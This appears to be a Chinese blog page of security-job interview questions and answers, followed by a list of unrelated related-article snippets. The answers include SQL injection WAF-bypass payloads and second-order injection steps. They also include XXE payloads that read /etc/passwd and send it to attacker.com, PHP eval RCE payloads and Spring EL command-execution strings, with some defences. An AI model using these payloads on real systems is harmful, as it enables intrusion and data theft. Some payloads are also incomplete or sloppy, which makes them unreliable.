奇安信面试题

devtools/2025/3/17 11:39:58/

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

下面是奇安信部分面试题:

问题1
如何利用基于时间的盲注绕过WAF进行数据库指纹识别?请详细说明攻击原理,并给出至少3种现代WAF的绕过技巧。

答案

  • 原理:通过构造条件语句触发数据库延时函数(如MySQL的SLEEP()),根据响应时间差异判断条件真假。

  • 绕过技巧
    1. 分块传输编码:利用HTTP协议分块传输绕过正则检测

    2. Unicode编码混淆SLEEP(5)\u0053\u004c\u0045\u0045\u0050(5)

    3. 参数污染id=1&id=sleep(5)-- 利用后端参数解析特性

    4. 注释符内联/*!50000SLEEP(5)*/(MySQL版本特性)

问题2
某系统使用预处理语句防御SQL注入,但仍存在二次注入漏洞。请分析其成因,并说明如何通过用户注册功能实现数据库篡改。

答案

  • 成因:数据存储时未过滤,后续拼接时触发注入。预处理仅防御即时查询,无法阻止存储的恶意数据被复用。

  • 攻击步骤
    1. 注册用户名:admin'-- (含单引号)

    2. 修改密码时触发SQL:UPDATE users SET password='xxx' WHERE username='admin'-- '

    3. 实际执行语句修改admin用户密码

问题3
给出以下XML解析代码,如何构造恶意XML实现/etc/passwd读取并外传数据?防御方案需修改哪些代码?

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new InputSource(inputStream));

答案

  • 攻击Payload

<!DOCTYPE root [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">%dtd;
]>
<root>&exfil;</root>
  • 防御方案
    1. 禁用DTD:dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

    2. 禁用外部实体:dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

问题4
如何通过DNS外带检测无回显的XXE漏洞?给出具体步骤及需要监控的日志类型。

答案

  1. 构造恶意DTD触发DNS查询:

<!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%payload;'>">
  1. 监控点
    • DNS服务器日志(如dig查询记录)

    • Web服务器访问日志(含base64参数)

  2. 利用协议封装:ftp://attacker.com/%payload(部分解析器支持)

问题5
某PHP系统使用eval("echo $userInput;"),如何构造输入实现RCE?给出两种不同技术路线的Payload并说明修复方案。

答案

  • Payload 1(动态函数调用):
    ';system($_GET["cmd"]);//eval("echo '';system($_GET["cmd"]);//");

  • Payload 2(反引号执行):
    ".$_GET[cmd]." → 触发shell命令执行

  • 修复
    1. 禁用eval()或严格过滤输入(白名单)

    2. 设置disable_functions=system,exec

问题6
某Spring MVC应用使用@ResponseBody返回name=${param.user},攻击者如何利用此漏洞实现任意文件读取?给出完整利用链。

答案

  • 利用步骤
    1. 触发EL表达式:user=__${T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd")}__

    2. 利用ScriptEngine执行JS代码:
      user=#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('cmd')")}

  • 防御:使用@ResponseBody时禁用表达式解析(Spring Security配置)


http://www.ppmy.cn/devtools/167809.html

相关文章

【Git】--- 初识Git Git基本操作

Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏&#xff1a; Git 本篇我们来初步认识Git企业级应用是什么&#xff0c;有什么用以及Git基本操作。 &#x1f3e0; 初始Git 提出问题 在日常生活中&#xff0c;我们进行…

感受命令行界面的魅力——Linux环境下基础开发工具的使用

目录 1.Linux 软件包管理器 yum 1.1 什么是软件包 1.2 关于 rzsz 1.3 注意事项 1.4 查看软件包 1.5 如何安装软件 1.6 如何卸载软件 2. Linux开发工具 2.1 Linux编辑器-vim使用 1. vim的基本概念 正常/普通/命令模式(Normal mode) 插入模式(Insert mode) 末行模式…

蓝桥杯单片机模板(自用)——基于柳离风模板

蓝桥杯单片机模板&#xff08;自用&#xff09;——基于柳离风模板 文章目录 蓝桥杯单片机模板&#xff08;自用&#xff09;——基于柳离风模板一、工程结构二、BSP文件夹1、sys2、display3、key4、timer5、iic6、ds13027、onewire8、uart9、ultrasound 三、USER文件夹main.c …

2.7 滑动窗口专题:串联所有单词的子串

LeetCode 30. 串联所有单词的子串算法对比分析 1. 题目链接 LeetCode 30. 串联所有单词的子串 2. 题目描述 给定一个字符串 s 和一个字符串数组 words&#xff0c;words 中所有单词长度相同。要求找到 s 中所有起始索引&#xff0c;使得从该位置开始的连续子串包含 words 中所…

requests请求返回压缩内容,进行解压

requests请求返回压缩内容&#xff0c;进行解压 import gzip import io import brotli import zstandard encoding res.headers.get(Content-Encoding) if encoding gzip:try:print("---------is gzip-------------")compressed_data io.BytesIO(res.content)dec…

Python在数据处理中的应用:从入门到精通

活动发起人小虚竹 想对你说&#xff1a; 这是一个以写作博客为目的的创作活动&#xff0c;旨在鼓励大学生博主们挖掘自己的创作潜能&#xff0c;展现自己的写作才华。如果你是一位热爱写作的、想要展现自己创作才华的小伙伴&#xff0c;那么&#xff0c;快来参加吧&#xff01…

C语言_数据结构总结9:树的基础知识介绍

1. 树的基本术语 - 祖先&#xff1a;考虑结点K&#xff0c;从根A到结点K的唯一路径上的所有其它结点&#xff0c;称为结点K的祖先。 - 子孙&#xff1a;结点B是结点K的祖先&#xff0c;结点K是B的子孙。结点B的子孙包括&#xff1a;E,F,K,L。 - 双亲&#xff1a;路径上…

【mysql】centOS7安装mysql详细操作步骤!—通过tar包方式

【mysql】centOS7安装mysql详细操作步骤&#xff01; linux系统安装mysql版本 需要 root 权限&#xff0c;使用 root 用户进行命令操作。使用tar文件包&#xff0c;安装&#xff0c;gz包也可以但是还需要配置用户&#xff0c;tar包虽然大&#xff0c;但是全啊&#xff01; 1. …